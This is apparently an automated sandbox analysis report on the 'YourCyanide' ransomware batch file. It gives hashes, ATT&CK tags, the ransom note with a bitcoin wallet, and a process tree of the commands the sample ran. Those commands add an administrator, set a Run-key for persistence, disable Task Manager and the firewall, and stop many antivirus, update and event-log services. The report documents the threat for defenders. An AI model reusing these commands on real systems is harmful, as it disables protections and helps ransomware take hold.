1f3e3ed8e708fc98bddddca71de7b9e21c6d2a4b2bf019c260e0b707140f9f62

Resubmissions

15-11-2024 12:51

241115-p3ywnsthmh 9

18-05-2022 00:35

220518-axmh5abbc9 10

18-05-2022 00:32

220518-avncmsbbb7 10

Analysis

max time kernel
5s
max time network
47s
platform
windows7_x64
resource
win7-20220414-en
submitted
18-05-2022 00:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

YourCyanide.cmd
Size

90KB
MD5

4cb725f17bec289507f9e8249c8ea80e
SHA1

a7034e84cb884bf90e61ce3b621424bec57334ae
SHA256

1f3e3ed8e708fc98bddddca71de7b9e21c6d2a4b2bf019c260e0b707140f9f62
SHA512

776982eab99b1285c209b71e2fd39e2765e9ce392a6c310208e72157dab3895b0b5a7c8b63d72e69bc507c88faec90a2f8f57788873f1a617a2659e22d2b7288

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\YcynNote.txt

Ransom Note

Q: What happened to my files? A: Oops your files have been encrypted by YourCyanide. Q: how can I get them back? A: You can get them back by paying $500 in bitcoin to this btc wallet bc1qrl532s9r2qge8d8p7qlrq57dc4uhssqjexmlwf. Q: What happens if I dont pay A: You will never get your files back. Q: How can I contact you A: contact at [email protected] ++++++++++++++++++++++++++++++++++++++++++++ 3805 Files have been encrypted

Emails

[email protected]

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables Task Manager via registry modification
evasion
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

scrnsave.scr

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	scrnsave.scr
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rundll32_4360_toolbar = "C:\\Users\\Admin\\AppData\\Local\\Temp\\YourCyanide.cmd"	scrnsave.scr

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1948 taskkill.exe
NTFS ADS 1 IoCs

Processes:

cmd.exe

description ioc process

File opened for modification C:\Users\Admin\AppData\Local\Temp\%YTsAV:~24 cmd.exe
Runs net.exe

pid	process
1948	taskkill.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\%YTsAV:~24	cmd.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.exenet1.execmd.exenet1.exenet.exescrnsave.scrnetsh.exepowershell.exenet.exescrnsave.scrconhost.exetskill.exenet1.exetskill.exeWScript.exe

pid	process
1960	powershell.exe
1960	net1.exe
692	cmd.exe
692	cmd.exe
1092	net1.exe
1092	net1.exe
1356	net.exe
1356	net.exe
1916	scrnsave.scr
1916	scrnsave.scr
780	netsh.exe
780	netsh.exe
1280	powershell.exe
1280	powershell.exe
1704	net.exe
1704	net.exe
1672	scrnsave.scr
1672	scrnsave.scr
1592	conhost.exe
1592	conhost.exe
2020	tskill.exe
2020	tskill.exe
1660	net1.exe
1660	net1.exe
1344	tskill.exe
1344	tskill.exe
584	WScript.exe
584	WScript.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exescrnsave.scr

description pid process

Token: SeDebugPrivilege 1960 powershell.exe
Token: SeDebugPrivilege 1948 scrnsave.scr

description	pid	process
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	1948	scrnsave.scr

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exenet.exenet1.execmd.execmd.exe

description	pid	process	target process
PID 916 wrote to memory of 960	916	cmd.exe	attrib.exe
PID 916 wrote to memory of 960	916	cmd.exe	attrib.exe
PID 916 wrote to memory of 960	916	cmd.exe	attrib.exe
PID 916 wrote to memory of 1712	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 1712	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 1712	916	cmd.exe	rundll32.exe
PID 916 wrote to memory of 900	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 900	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 900	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1944	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1944	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1944	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 2028	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 2028	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 2028	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1996	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1996	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1996	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1184	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1184	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1184	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1960	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 1960	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 1960	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 1332	916	cmd.exe	net.exe
PID 916 wrote to memory of 1332	916	cmd.exe	net.exe
PID 916 wrote to memory of 1332	916	cmd.exe	net.exe
PID 1332 wrote to memory of 1344	1332	net.exe	tskill.exe
PID 1332 wrote to memory of 1344	1332	net.exe	tskill.exe
PID 1332 wrote to memory of 1344	1332	net.exe	tskill.exe
PID 916 wrote to memory of 1916	916	cmd.exe	scrnsave.scr
PID 916 wrote to memory of 1916	916	cmd.exe	scrnsave.scr
PID 916 wrote to memory of 1916	916	cmd.exe	scrnsave.scr
PID 916 wrote to memory of 712	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 712	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 712	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1640	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1640	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1640	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1984	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1984	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1984	916	cmd.exe	cmd.exe
PID 916 wrote to memory of 1660	916	cmd.exe	net1.exe
PID 916 wrote to memory of 1660	916	cmd.exe	net1.exe
PID 916 wrote to memory of 1660	916	cmd.exe	net1.exe
PID 1660 wrote to memory of 1520	1660	net1.exe	net.exe
PID 1660 wrote to memory of 1520	1660	net1.exe	net.exe
PID 1660 wrote to memory of 1520	1660	net1.exe	net.exe
PID 916 wrote to memory of 1948	916	cmd.exe	scrnsave.scr
PID 916 wrote to memory of 1948	916	cmd.exe	scrnsave.scr
PID 916 wrote to memory of 1948	916	cmd.exe	scrnsave.scr
PID 1984 wrote to memory of 2044	1984	cmd.exe	scrnsave.scr
PID 1984 wrote to memory of 2044	1984	cmd.exe	scrnsave.scr
PID 1984 wrote to memory of 2044	1984	cmd.exe	scrnsave.scr
PID 1640 wrote to memory of 1560	1640	cmd.exe	net1.exe
PID 1640 wrote to memory of 1560	1640	cmd.exe	net1.exe
PID 1640 wrote to memory of 1560	1640	cmd.exe	net1.exe
PID 1640 wrote to memory of 1092	1640	cmd.exe	net1.exe
PID 1640 wrote to memory of 1092	1640	cmd.exe	net1.exe
PID 1640 wrote to memory of 1092	1640	cmd.exe	net1.exe
PID 1984 wrote to memory of 524	1984	cmd.exe	net.exe
PID 1984 wrote to memory of 524	1984	cmd.exe	net.exe
PID 1984 wrote to memory of 524	1984	cmd.exe	net.exe
PID 1640 wrote to memory of 296	1640	cmd.exe	net.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

960 attrib.exe

pid	process
960	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd"
1⤵
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd
  2⤵
  - Views/modifies file attributes
  PID:960
- C:\Windows\system32\rundll32.exe
  RUNDLL32 USER32.DLL SwapMouseButton
  2⤵
  PID:1712
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1944
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Set-ExecutionPolicy Unrestricted"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1184
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2028
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:900
- C:\Windows\system32\net.exe
  net localgroup administrators session /ADD
  2⤵
  PID:1332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:1344
- C:\Windows\system32\reg.exe
  reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_4360_toolbar" /t "REG_SZ" /d C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd /f
  2⤵
  PID:1916
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  2⤵
  PID:712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:296
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
      4⤵
      PID:364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop ccSetMGR /y
        5⤵
        
        PID:660
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop netsvcs
        6⤵
        
        PID:364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1344
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1948
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "*McAfee*" /y
      4⤵
      PID:1332
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:712
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop InoRPC /y
      4⤵
      PID:1796
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:560
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Symantec Core LC" /y
      4⤵
      PID:316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1188
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:616
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:876
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1016
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1980
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2020
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:432
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1980
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1720
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop ccPwdSvc /y
      4⤵
      PID:1096
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Automatic Updates" /y
      4⤵
      PID:1560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:616
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1544
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mcupdmgr.exe /y
      4⤵
      PID:956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1400
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1488
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1132
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Symantec Network Drivers Service" /y
      4⤵
      PID:1560
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "McAfee SecurityCenter Update Manager" /y
        5⤵
        
        PID:1564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McShield" /y
      4⤵
      PID:584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "*Symantec*" /y
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1620
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:660
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1012
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1936
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "McAfee Spamkiller Server" /y
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1660
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1916
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1948
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- C:\Windows\system32\net.exe
  net stop "WinDefend"
  2⤵
  PID:1660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WinDefend"
    3⤵
    PID:1520
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im "MSASCui.exe"
  2⤵
  - Kills process with taskkill
  PID:1948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1720
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1488
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1620
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:876
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1052
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:524
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Anti-Virus Network" /y
      4⤵
      PID:1280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:572
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:296
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "eTrust Antivirus Realtime Server" /y
      4⤵
      PID:1680
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1052
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1624
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "NAV Alert" /y
      4⤵
      PID:832
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1344
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1016
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:876
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1948
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2004
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1188
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Serv-U" /y
      4⤵
      PID:780
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:876
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1912
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1552
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1916
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:780
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1592
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2000
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2004
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    PID:1916
- C:\Windows\system32\net.exe
  net stop "wuauserv"
  2⤵
  PID:108
- C:\Windows\system32\net.exe
  net stop "security center"
  2⤵
  PID:1672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "security center"
    3⤵
    PID:1876
- C:\Windows\system32\net.exe
  net stop sharedaccess
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sharedaccess
    3⤵
    PID:2020
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode-disable
  2⤵
  PID:2000
- C:\Windows\system32\net.exe
  net stop "Symantec Core LC" /y
  2⤵
  PID:1092
- C:\Windows\system32\net.exe
  net stop "SAVScan" /y
  2⤵
  PID:108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SAVScan" /y
    3⤵
    PID:1672
- C:\Windows\system32\net.exe
  net stop "McAfee Spamkiller Server" /y
  2⤵
  PID:1936
- C:\Windows\system32\net.exe
  net stop "Symantec SPBBCSvc" /y
  2⤵
  PID:2044
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:1616
- C:\Windows\system32\net.exe
  net stop vrmonsvc /y
  2⤵
  PID:1016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop vrmonsvc /y
    3⤵
    PID:2008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "norton AntiVirus Client" /y
      4⤵
      PID:936
- C:\Windows\system32\net.exe
  net stop ccSetMGR /y
  2⤵
  PID:364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "DefWatch" /y
    3⤵
    PID:1880
- C:\Windows\system32\net.exe
  net stop srservice /y
  2⤵
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice /y
    3⤵
    PID:1012
- C:\Windows\system32\net.exe
  net stop MpfService /y
  2⤵
  PID:852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:1912
- C:\Windows\system32\net.exe
  net stop "McAfeeAntiSpyware" /y
  2⤵
  PID:1624
- C:\Windows\system32\net.exe
  net stop ERSvc /y
  2⤵
  PID:1592
- C:\Windows\system32\net.exe
  net stop "*norton*" /y
  2⤵
  PID:432
- C:\Windows\system32\net.exe
  net stop "Symantec Core LC" /y
  2⤵
  PID:560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee.com VirusScan Online Realtime Engine" /y
    3⤵
    PID:1012
- C:\Windows\system32\net.exe
  net stop navapsvc /y
  2⤵
  PID:1284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop navapsvc /y
    3⤵
    PID:1544
- C:\Windows\system32\net.exe
  net stop "Serv-U" /y
  2⤵
  PID:640
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Client" /y
  2⤵
  PID:956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Client" /y
    3⤵
    PID:1280
- C:\Windows\system32\net.exe
  net stop "Symantec AntiVirus Client" /y
  2⤵
  PID:2020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec AntiVirus Client" /y
    3⤵
    PID:1964
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Server" /y
  2⤵
  PID:1620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Server" /y
    3⤵
    PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:1956
- C:\Windows\system32\net.exe
  net stop "NAV Alert" /y
  2⤵
  PID:1168
- C:\Windows\system32\net.exe
  net stop "McShield" /y
  2⤵
  PID:596
- C:\Windows\system32\net.exe
  net stop eventlog /y
  2⤵
  PID:692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop eventlog /y
    3⤵
    PID:2000
